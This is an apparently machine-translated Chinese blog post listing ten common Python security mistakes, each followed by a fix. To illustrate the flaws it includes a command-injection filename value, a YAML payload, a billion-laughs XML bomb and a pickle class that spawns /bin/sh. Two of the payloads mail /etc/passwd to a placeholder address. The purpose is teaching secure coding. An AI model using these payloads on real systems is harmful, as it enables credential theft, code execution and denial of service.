Python中最常见的10个安全错误以及如何避免这些错误

大家好!

我们的下一个Python小组在星期一成功地开始了工作,但是我们还有另外一本在开始之前没有设法放的资料。 我们纠正了错误,并希望您会喜欢。

走吧

编写安全代码很困难。 当您学习一种语言,模块或框架时,您将学习如何使用它。 您还需要考虑如何在安全上下文中错误地使用它们。 Python也不例外,即使标准库的文档也包含对安全应用程序不良编写实践的描述。 但是,许多Python开发人员根本不了解它们。



这是我在Python应用程序中最常见的错误前10名(按随机顺序)。

1.注射


有多种类型的代码注入攻击,而且它们都很普遍。 它们影响所有语言,框架和环境。

SQL注入是当您直接编写SQL查询而不是使用ORM并将字符串文字与变量混合时。 我读了很多代码,其中“转义引号”被认为是解决方法。 事实并非如此。 您可以熟悉许多在此备忘单中嵌入SQL的方法。

命令注入是在任何时候您使用popen,子进程,os.system调用进程并接受变量的参数的时候。 调用本地命令时,有人可能会将这些值设置为恶意内容。

想象一下这个简单的脚本[credit] 。 您使用用户提供的文件名来调用子进程:

import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea! 

攻击者将值设置为文件名"; cat /etc/passwd | mail them@domain.com或类似的"; cat /etc/passwd | mail them@domain.com

解决方案:

如果使用Web框架,请使用Web框架随附的实用程序对输入进行灭菌。 除非有充分的理由,否则不要手动创建SQL查询。 大多数ORM具有内置的消毒方法。

对于外壳,请使用shlex模块正确屏蔽输入

2.解析XML


如果您的应用程序下载并解析XML文件,则很可能您正在使用标准XML库模块之一。 通过XML有几种常见的攻击。 大多数是DoS风格的(旨在删除系统,而不是过滤数据)。 这些攻击非常普遍,尤其是当您解析外部(即那些无法信任的)XML文件时。

其中之一被称为“十亿笑”(字面意思为“十亿笑”),因为有效载荷通常包含很多(十亿)“笑声”。 基本上,您的想法是可以使用XML来创建引用对象,因此,当您朴实的XML解析器尝试将此文件加载到内存中时,它将占用数GB的RAM。 如果您不相信我,请尝试:-)

 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> 

其他攻击使用外部实体的扩展。 XML支持来自外部URL的实体引用,XML解析器通常会请求并加载此资源而不会出现任何问题。 “攻击者可以绕过防火墙并获得对有限资源的访问权限,因为所有请求都是从内部可靠的IP地址发出的,而不是从外部发出的。”

另一个值得考虑的情况是您依赖的第三方XML解码包,例如配置文件,远程API。 您甚至可能都不怀疑自己的依赖项之一会受到这些类型的攻击。
Python发生了什么? 好吧,标准库模块,etree,DOM,xmlrpc对于此类攻击是开放的。 这在此处有详细记录。

解决方案:

使用defusedxml代替标准库模块。 他添加了针对这些类型攻击的防御措施。

3.声明说明


不要使用assert来保护用户不应访问的代码片段。 举一个简单的例子:

 def foo(request, user): assert user.is_admin, “user does not have access” # secure code... 

现在,默认情况下,Python在__debug__等于true的情况下运行,但是在战斗环境中,它通常从优化开始。 不管用户是否为is_admin,都会跳过assert指令,并且程序将直接进入受保护的代码。

解决方案:

仅在与其他开发人员进行交互(例如在单元测试中)或防止API的不正确使用时使用assert指令。

4.临时袭击


本质上,临时攻击是通过确定比较提供的值所需的时间来公开程序的行为和算法的一种方式。 临时攻击需要准确性,因此它们通常无法在具有高延迟的远程网络上工作。 由于与大多数Web应用程序相关的可变延迟,几乎不可能通过HTTP Web服务器记录临时攻击。

但是,如果您有一个要求输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。 一个例子

如果您想了解它们的工作原理,那么可以举出一些令人印象深刻的示例,例如用Python编写的这种临时SSH攻击

解决方案:

使用Python 3.5中引入的 secrets.compare_digest比较密码和其他私有值。

5.受污染的站点包装或导入路径


Python具有非常灵活的导入系统。 当您尝试编写猴子补丁进行测试或使主要功能超载时,这非常有用。

但这是Python中最大的安全漏洞之一。

无论在虚拟环境中还是在全局站点程序包中(通常不鼓励)在站点程序包中安装第三方程序包,都会给您带来安全漏洞。

有些情况下,发布的PyPi软件包的名称与流行的软件包的名称相似,但是会执行任意代码 。 幸运的是,最大的事件并不危险,只是简单地“结束了”他们没有关注这一问题的事实。

要考虑的另一种情况是依赖项的依赖项(等)。 它们可以包括漏洞,也可以通过导入系统覆盖Python中的默认行为。

解决方案:

检查您的包裹。 看看PyUp.io及其安全团队 。 对所有应用程序使用虚拟环境,并确保您的全局站点程序包尽可能干净。 检查包裹签名。

6.临时文件


要在Python中创建临时文件,通常首先使用mktemp()函数生成文件名,然后使用生成的名称创建文件。 “这是不安全的,因为另一个进程可以在调用mktemp()到随后的第一个进程尝试创建文件的时间之间创建具有相同名称的文件。” 这意味着它可以通过下载不正确的数据或危及其他临时数据来欺骗您的应用程序。

如果您调用错误的方法,最新版本的Python将显示运行时警告。

解决方案:

如果需要创建临时文件, 请使用tempfile模块并使用mkstemp

7.使用yaml.load


引用PyYAML文档:

警告 用从不可信来源收到的任何数据调用yaml.load是不安全的! yaml.load与pickle.load一样高效,因此可以调用任何Python函数。

这个很好的例子可以在流行的Ansible项目中找到。 您可以为Ansible Vault赋予一个值(有效的YAML)。 它使用文件中提供的参数调用os.system()

 !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 

因此,通过从用户提供的值加载YAML文件,您很容易受到攻击。


Anthony Sottile对此进行了演示

解决方案:

几乎总是使用yaml.safe_load ,除非您有充分的理由不这样做。

8.泡菜


对罐装数据进行反序列化与YAML一样糟糕。 Python类可以声明一个神奇的__reduce__方法,该方法返回字符串或具有可调用项的元组,并传递要在保存时调用的参数。 攻击者可以使用此链接包含到子流程模块之一的链接,以在主机上运行任意命令。

这个引人注目的示例展示了如何保留在Python 2中打开外壳程序的类。还有更多有关如何使用pickle的示例

 import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh())) 

解决方案:

切勿从不可信或未经验证的来源重新打开数据。 相反,请使用其他序列化模式,例如JSON。

9.使用python运行时系统而不对其进行修补


大多数POSIX系统都带有Python 2版本。自然地,已经过时了。

由于Python(即CPython)是用C编写的,因此Python解释器本身有时会出现漏洞。 C语言中的常见安全性问题与内存分配以及缓冲区溢出错误有关。

多年以来,CPython已经存在多个特大或溢出漏洞,并且每个漏洞都已在以后的发行版中修复和修复。
所以你很安全。 更准确地说,如果您为运行时安装了补丁程序

这是2.7.13及更低版本的示例 ,该整数溢出漏洞允许执行代码。 该示例适用于任何未安装补丁程序的Ubuntu版本17。

解决方案:

为您的战斗应用程序和所有补丁安装最新版本的Python

10.不要为您的依赖项安装补丁


正如您没有为运行时安装补丁一样,您还需要定期为依赖项安装补丁。

我认为在软件包中“固定” Python版本的PyPi软件包的做法令人恐惧。 这个想法是“ 这些版本有效 ”,因此每个人都独自一人。

我上面提到的所有代码漏洞在应用程序使用的程序包中都存在时同样重要。 这些软件包的开发人员修复了安全问题。 一直如此

解决方案:

使用PyUp.io等服务来检查更新,在应用程序中配置下载/合并请求以及运行测试以更新软件包。
使用InSpec等工具来验证生产环境中的已安装版本,并提供最低版本或版本范围的修补程序。

你尝试过强盗吗?

有一个大型的静态linter,它将在您的代码中发现所有这些问题,甚至还有更多! 它被称为强盗,只是pip install banditbandit ./codedir

PyCQA /强盗

感谢RedHat在我的一些研究中使用的这篇精彩的文章

结束!

与往常一样,我们将很高兴看到您的评论和问题:)

Source: https://habr.com/ru/post/zh-CN420441/


All Articles